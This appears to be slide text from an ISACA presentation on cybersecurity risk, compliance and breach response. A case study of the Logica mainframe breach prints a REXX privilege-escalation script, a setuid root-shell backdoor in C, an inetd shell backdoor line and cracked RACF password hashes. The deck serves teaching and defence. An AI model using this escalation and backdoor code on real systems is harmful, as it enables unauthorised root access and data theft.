Information Risk & Security in the Cloud

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San Francisco ISACA March Educational Event
Today's Presenters

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Learning Objectives

• Assess how cybersecurity affects your business
• Identify strategic ideas to mitigate cybersecurity risk and review your own organization's protocols
• Explain how to protect your company from a breach
• Recognize measures for protecting your business before and after a data breach
I HAVE A NEW HOBBY. IT'S CALLED PHISHING.

I SEND FAKE BANKING E-MAILS TO GULLIBLE EXECUTIVES. THEN I FIND OUT THEIR FINANCIAL INFORMATION AND USE IT TO STEAL THE MONEY THEY DON'T DESERVE.

Dear Customer,
This is your bank. We forgot your social security number and password. Why don’t you send them to us so we can protect your money.
Sincerely,
I. B. Banker
What is Cybersecurity?

• Preventive methods used to protect information or systems from being stolen, compromised or attacked.
• More than technology, it is a layered methodology of people, processes, communications and controls.
• Requires an understanding of potential threats such as malware, hackers and other malicious acts.
How do Data Breaches Occur?

- 52% Used some form of hacking
- 76% Exploited weak or stolen credentials
- 40% Incorporated malware
- 35% Involved physical attacks
- 29% Leveraged social tactics
- 13% Resulted from privilege misuse and abuse

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2014 Data Breaches
Global Card Fraud Losses

Payment card data remains one of the easiest types of data to convert to cash, and therefore the preferred choice of the criminals.
# Common IT Audit Compliance

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Objective</th>
<th>Limited Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td>PCI DSS</td>
<td>Payment Card Industry Data Security Standard</td>
<td>Contractual Requirement</td>
<td>Protects cardholder data (i.e., credit cards, debit cards, etc.)</td>
</tr>
<tr>
<td>HIPAA</td>
<td>Health Insurance Portability and Accountability Act</td>
<td>Government Regulation</td>
<td>Governs the use and disclosure of Protected Health Information (PHI)</td>
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<tr>
<td>GLBA</td>
<td>Gramm-Leach-Bliley Act</td>
<td>Government Regulation</td>
<td>Governs the collection, disclosure, and protection of consumer's non-public personal information by financial institutions</td>
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<tr>
<td>SOX</td>
<td>Sarbanes-Oxley</td>
<td>Government Regulation</td>
<td>Governs the adequacy of a company's internal control on financial reporting</td>
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<tr>
<td>SOC Reports</td>
<td>Service Organization Controls Report</td>
<td>Accounting Standard</td>
<td>Documents and tests controls implemented by outsourced service providers.</td>
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What is PCI DSS?

- Common set of security standards designed to protect payment card data
- Standards created and maintained by PCI Security Standards Council (SSC)
- Represents major card brands (VISA, MasterCard, AmEx)
- Standards verify merchants are appropriately protecting cardholder data
## PCI DSS Requirements

<table>
<thead>
<tr>
<th>Control Objectives</th>
<th>PCI DSS Requirements</th>
</tr>
</thead>
<tbody>
<tr>
<td>Build and maintain a secure network</td>
<td>1. Install and maintain a firewall configuration to protect cardholder data</td>
</tr>
<tr>
<td></td>
<td>2. Do not use vendor-supplied defaults for system passwords and other security parameters</td>
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<tr>
<td>Protect cardholder data</td>
<td>3. Protect stored cardholder data</td>
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<td></td>
<td>4. Encrypt transmission of cardholder data across open, public networks</td>
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<tr>
<td>Maintain a vulnerability management program</td>
<td>5. Use and regularly update anti-virus software on all systems commonly affected by malware</td>
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<td></td>
<td>6. Develop and maintain secure systems and applications</td>
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<tr>
<td>Implement strong access control measures</td>
<td>7. Restrict access to cardholder data by business need-to-know</td>
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<tr>
<td></td>
<td>8. Assign a unique ID to each person with computer access</td>
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<tr>
<td></td>
<td>9. Restrict physical access to cardholder data</td>
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<tr>
<td>Regularly monitor and test networks</td>
<td>10. Track and monitor all access to network resources and cardholder data</td>
</tr>
<tr>
<td></td>
<td>11. Regularly test security systems and processes</td>
</tr>
<tr>
<td>Maintain an information security policy</td>
<td>12. Maintain a policy that addresses information security</td>
</tr>
</tbody>
</table>
Compliance Does Not Equal Cybersecurity
Cybersecurity Risk Assessment

- **Phase 1:** Determine Objectives
- **Phase 2:** Assess Control Environment
- **Phase 3:** Address Gaps
Cybersecurity Risk Assessment

Phase 1: Determine Objectives

- What type of data does the Company want to protect?
- Where is the data located?
- Why does the Company want to protect the data?
- Who does the Company want to protect the data from?
- How could the data be compromised?
- What is the impact if the data was compromised?
- What price does the Company want to pay to protect the data?
Cybersecurity Risk Assessment

- What Compliance Programs (i.e., PCI DSS, SOX, etc.) does the Company comply with?
- What Cyber Security risks do the Compliance Programs not address?
- Who has access to the data?
- What controls does the Company have to protect the identified data?
- Are the controls documented and tested on a regular basis?
- What are the Company's Cybersecurity gaps?
Cybersecurity Risk Assessment

Phase 3: Address Gaps

• Develop a layered Cybersecurity approach to address the Cybersecurity gaps at all layers of the GT Technology Model.
• Implement documented polices and procedures for protecting the Company's data.
• Implement a test plan to test the Cybersecurity Controls.
• Educate employees on their responsibilities for protecting the Company's data.
• Implement a process to re-assess the Company's Cybersecurity risks/controls on a regular basis.
Real World Example

- Swedish government outsource platform and application management to third parties
  - Cost saving measure
  - Hosting information in the ‘cloud’

Essentially PaaS outsourced to Logica (subsidiary of CGI)
Picture This

Springtime in Sweden
MEANWHILE, IN FINLAND
Meanwhile in Sweden
Audience Quiz

• We know there are multiple types of security monitoring tools
• During the breach monitoring tools detect an anomaly
• Which team initially found breach?
  a) The SIEM team
  b) The expensive security software
  c) A mainframe hardware usage operator
• DING DING DING!
• Mainframe Operator detect heavy IO usage
  – Actually, they detected a sales account trying to access thousands of files they didn’t have access to
• Files that are accessible are copied off the mainframe using FTP
Aftermath

- 4,533,823 KR ($700,000)
- National ‘Special Event’
- “BIG DATA”
- 2 mainframes (that we know of)
- 2 0-days used
PIRATE BAY CO-FOUNDER ARRESTED IN CAMBODIA ON SWEDISH ARREST REQUEST
Logica Breach: Timeline
• Attacker Breaches a company called Applicate AB
• Infotorg used a z/OS mainframe as the back end
• The attackers targeted this system
• Applicate AB outsourced z/OS management to Logica
• Logica LPAR SYS19
• Multiple Access Points:
  – Weaknesses in Websphere
  – Account credentials stolen
March 2012

• 7th: Applicate AB notices unusual load on their systems

• 8th: Applicate AB incident team meets with Logica security manager about potential breach

• 9th: Observation notes multiple accounts from multiple IP addresses have been used to access SYS19

• 10th: Logica begins blocking IP addresses and user IDs
Blocking Does Nothing

• The Applicate and Logica engineers are unable to keep the attackers out
• With every account blocked, new accounts are used to access the system
• For every IP address blocked, new IP addresses are used
• Unable to contain the breach Logica finally reaches out to Swedish Police on March 19th.
  – 10 days after detecting the breach
It Gets Worse

• March 21\textsuperscript{st}:
  – They realize that not just one LPAR was affect. \textcolor{red}{SYS3} was also affected by the breach.
  – A System Programmer account was being used to perform administrative activities by the attackers
  – Logs indicate copies of the TAX information database was copied
  – The Bailiff information database was copied
  – Source code was copied
  – ‘Secret’ people database
March 23\textsuperscript{rd}: The Swedish police, in over their heads call in external parties to aid in the investigation:
   - Secret Police (Swedish FBI)
   - IBM
   - KPMG
   - Rasmussen
Meanwhile

In Cambodia
Anakata (allegedly)

• Installed Hercules (z/OS 1.04)
• Wrote scripts and hacks for z/OS
• Was slowly discovering z/OS weaknesses
• Eventually convicted for Logica breach
• Now on trial for Nordea breach
Attacking

- CVE-2012-5955
  - One attack vector

- CVE-2012-5951
  - Second vector (local priv escalation)
CVE-2012-5955

- Attack against WebSphere web server
- Runs APF authorized
- Comes with default CGI-BIN scripts
- UTCAM.SH (DEMO!)
- But basically ";"
UTCAM

- This is a shell script
- Uses ‘commands’ to create attack
- For example: **steal**
  - You provide the dataset name. It uses the OMVS command ‘cp’ to copy that dataset to a location that the webshere has access to
  - It then injects that command by using the cgi-bin vulnerability
  - Attacker can then download the files
CVE-2012-5951

- Requires command line access to UNIX
- Local privilege escalation using CNMEUNIX
- Specifically this program:
  - /usr/lpp/netview/vXrX/bin/cnmeunix
- However, the program is not important. Any SETUID REXX script would’ve worked
/* REXX */
call syscall 'ON'
if __argv.2=="kuku" then do
    address syscall 'setuid 0'
say 'l3tz g3t s0m3 0f d4t r00t!@#'
parm.0=2
parm.1=__argv.1
parm.2="kuku"
env.0=1
env.1="_BPC_SHAREAS=NO"
address syscall 'spawn cnmeunix 0 . parm. env.'
address syscall 'wait wret.'
Backdoors

• The attackers had access now
• Full access to OMVS which meant:
  – They could install any file
  – Change any configuration
  – They couldn’t access any user (unless they used the system against itself)
• 8 C programs where installed as backdoors to execute a root shell:
  – asd, be, err, d044, qwe, daf1367, daf1473 and e90opc
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    setuid(0);
    setgid(0);
    setgroups(0, NULL);
    execl("/bin/sh", "sh", NULL);
}
INETD Backdoor

```
# BACKDOOR FOR DEFCON
klogin stream tcp nowait plague /bin/sh sh -i
```

```
(~/PYTHON) -> (dade@plex:pts/5)
(12:27:40) -> (Mon, Feb 23)
```
John the Ripper

```
(12:33:20) ➔ cat hashes.racf
GIGER: $racf$*GIGER*8807ED282E524B3E
TATSU: $racf$*TATSU*6C72FE5AB827FB9A
MERC: $racf$*MERC*4F537B9820346917
DADE: $racf$*DADE*14E0589248206440
JADE: $racf$*JADE*C4A2462FB0D4442E
PRISM: $racf$*PRISM*AD078D6CB7405004
TCROW: $racf$*TCROW*28B84CDE96896CCA
PRIZM: $racf$*PRIZM*B665B42F7C7EB9FE
NIKON: $racf$*NIKON*FC2DF3B8C28A9329
GILL: $racf$*GILL*20038236F16FC178
RAZOR: $racf$*RAZOR*821459CA0F38A4E0
```
(12:35:41) ➔ ../PROGRAMS/JohnTheRipper/run/john hashes.racf --show

GIGER: LOVE
TATSU: GOD
MERC: GOD
DADE: LOVE
JADE: J4D3
PRISM: SEX
TCROW: LOVE
PRIZM: SECRET
NIKON: GOD
GILL: SEX
RAZOR: SEX
Aftermath

- Unfathomable amounts of data exfiltrated out of the company
- Copies of source code for tax system
  - System which audits and calculates tax returns
- ‘Special’ persons database:
  - Database of people protected under witness protection
- Bailiff Database:
  - Database showing who owes who what in terms of bail
- Tax ID database
  - Swedish SSN equivalents. Going back to 1960’s
Nordea Breach

- The same level of attack and sophistication was used against internet facing mainframes belonging to Nordea Bank
- Attacker was able to execute commands and gained access to privileged accounts
- Successfully transferred $4,000
- Failed to transfer $1,000,000
Anakata Sentenced

• Anakata was sentenced to 6 years in Sweden
• Was transferred to Norway to await trial
  – Still awaiting trial, potentially May 28th
• Free Anakata movement has sprung up
  – Pirate Party has lots of support
  – Feel the arrest was politically motivated
  – Misses the point
Important Links

- Wikileaks Breach Investigation Documents: 
  - https://wikileaks.org/gottfrid-docs/
- QNSR Translation of these documents: 
  - http://qnrq.se/2013/05/
- Logica Breach Files: 
  - https://github.com/mainframed/logica
Common Misconceptions

• It will never happen to me
• Our network is secure
• We are in compliance with industry standards
• We are not a big company
• We don't have any personal information so we aren't a target
• We have never been attacked
Preparation is Key

4 ways to prepare for a breach:

1. **Data mapping/classification**: Before you come up with a plan to protect your data, you need to figure out exactly what it is you are protecting.

2. **Conduct a vendor assessment**: You need to account for data held by business partners, vendors and other third parties.

3. **Create a risk profile**: There’s no good way to know just how vulnerable your systems are without having someone try to hack them.

4. **Create your incident response (IR) team and plan of action**: Know who does what and when.
Planning Ahead

Incident response planning

- Constant vigilance
- Have warm standby systems
- Vendor management program responsibility
- Proactively engage external team members
- Conduct annual tabletop exercises
- Have incident response team trained and ready
- Involve your board of directors
An effective incident response plan should:

- Identify specific owners and contacts within the organization
- Have clear decision guidelines and associated actions
- Be usable, not overly complex
- Be tested regularly (at least once per quarter)
- Include all data loss incident types (i.e., not only intrusions)
- Outline how to help customers (including guidance, resources, etc.)
Planning Ahead

How do I prepare my organization for a breach?
- Form an incident response team (IRT) and plan of action
- Map and classify the organization’s data
- Conduct a vendor assessment
- Create a risk profile

What do I do if a breach occurs?
- Mobilize IRT and initiate action plan
  - Contact outside counsel
  - Contact outside forensic team
  - Contact PR group
  - Conduct investigation of the breach

What is the way forward after a breach?
- Monitor to detect future anomalies
- Remediate any gaps discovered during the investigation
Treat every cyber breach as if it will result in a criminal prosecution.
Industry Response
Grant Thornton - 2015 GRC Survey Results

• 73% of CAEs consider data privacy and security, including cyber security, a top risk area with the potential to affect their organization's growth

• 75% of audit committee members consider data privacy and security, including cyber security, a top risk area with the potential to affect their organization's growth

• 61% of CAEs are performing data security risk assessments
• What steps has your board taken in its oversight of data privacy and security (including cyber security) risks?

- Ensuring the organization has cyberinsurance
- Hiring a third-party IT specialist to advise at the board level
- Including an IT expert as a board member
- Reviewing policies, procedures and controls related to data security
- Ensuring ongoing monitoring and regular testing
- Requesting regular assessments and reporting from management
- None
- Other

0% 10% 20% 30% 40% 50% 60% 70% 80%